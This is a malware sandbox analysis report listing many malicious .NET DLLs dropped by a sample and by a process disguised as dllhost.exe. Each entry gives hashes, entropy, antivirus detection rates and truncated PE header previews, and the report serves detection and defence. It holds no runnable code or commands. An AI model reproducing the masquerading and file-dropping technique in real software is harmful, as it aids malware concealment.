                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                                                                                                      C:\Users\user\Desktop\IYriOWqO.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):36352
                                                                                                                                      Entropy (8bit):5.668291349855899
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                                                                                                      MD5:94DA5073CCC14DCF4766DF6781485937
                                                                                                                                      SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                                                                                                      SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                                                                                                      SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 21%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\KpfivNCg.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):64000
                                                                                                                                      Entropy (8bit):5.857602289000348
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                                                                                                      MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                                                                                                      SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                                                                                                      SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                                                                                                      SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 25%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\MRnySouc.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):6.057993947082715
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                                                                                                      MD5:16B480082780CC1D8C23FB05468F64E7
                                                                                                                                      SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                                                                                                      SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                                                                                                      SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 21%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\PTahnXzX.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):89600
                                                                                                                                      Entropy (8bit):5.905167202474779
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
                                                                                                                                      MD5:06442F43E1001D860C8A19A752F19085
                                                                                                                                      SHA1:9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
                                                                                                                                      SHA-256:6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
                                                                                                                                      SHA-512:3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 16%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

                                                                                                                                      C:\Users\user\Desktop\PVfhrllC.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):34816
                                                                                                                                      Entropy (8bit):5.636032516496583
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                                                                                                      MD5:996BD447A16F0A20F238A611484AFE86
                                                                                                                                      SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                                                                                                      SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                                                                                                      SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 21%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\QALqtMNE.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):6.057993947082715
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                                                                                                      MD5:16B480082780CC1D8C23FB05468F64E7
                                                                                                                                      SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                                                                                                      SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                                                                                                      SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 21%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\QiIHXtHV.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):39936
                                                                                                                                      Entropy (8bit):5.660491370279985
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                                                                                                      MD5:240E98D38E0B679F055470167D247022
                                                                                                                                      SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                                                                                                      SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                                                                                                      SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 8%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\RGKyyyvv.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):50176
                                                                                                                                      Entropy (8bit):5.723168999026349
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                                                                                                      MD5:2E116FC64103D0F0CF47890FD571561E
                                                                                                                                      SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                                                                                                      SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                                                                                                      SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 17%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\TYzyfqIO.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):36352
                                                                                                                                      Entropy (8bit):5.668291349855899
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                                                                                                      MD5:94DA5073CCC14DCF4766DF6781485937
                                                                                                                                      SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                                                                                                      SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                                                                                                      SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 21%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\UJxgUhAr.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):33280
                                                                                                                                      Entropy (8bit):5.634433516692816
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                                                                                                      MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                                                                                                      SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                                                                                                      SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                                                                                                      SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 8%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\VVaGAqXJ.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):33792
                                                                                                                                      Entropy (8bit):5.541771649974822
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                                                                                                      MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                                                                                                      SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                                                                                                      SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                                                                                                      SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 38%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\WJeOmDSH.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):38912
                                                                                                                                      Entropy (8bit):5.679286635687991
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                                                                                                      MD5:9E910782CA3E88B3F87826609A21A54E
                                                                                                                                      SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                                                                                                      SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                                                                                                      SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 8%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\XxiWXROF.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):32256
                                                                                                                                      Entropy (8bit):5.631194486392901
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                                                                                                      MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                                                                                                      SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                                                                                                      SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                                                                                                      SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 25%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\YwOfwePf.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):70144
                                                                                                                                      Entropy (8bit):5.909536568846014
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                                                                                                      MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                                                                                                      SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                                                                                                      SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                                                                                                      SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 29%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\ZRcXHVNC.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):41472
                                                                                                                                      Entropy (8bit):5.6808219961645605
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                                                                                                      MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                                                                                                      SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                                                                                                      SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                                                                                                      SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 17%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\bYXvUFHb.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):69632
                                                                                                                                      Entropy (8bit):5.932541123129161
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                                                                                                      MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                                                                                                      SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                                                                                                      SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                                                                                                      SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 50%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                                                                                                      C:\Users\user\Desktop\eEtWkScq.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):39936
                                                                                                                                      Entropy (8bit):5.629584586954759
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                                                                                                      MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                                                                                                      SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                                                                                                      SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                                                                                                      SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 17%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\gsyeVgYo.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):69632
                                                                                                                                      Entropy (8bit):5.932541123129161
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                                                                                                      MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                                                                                                      SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                                                                                                      SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                                                                                                      SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 50%
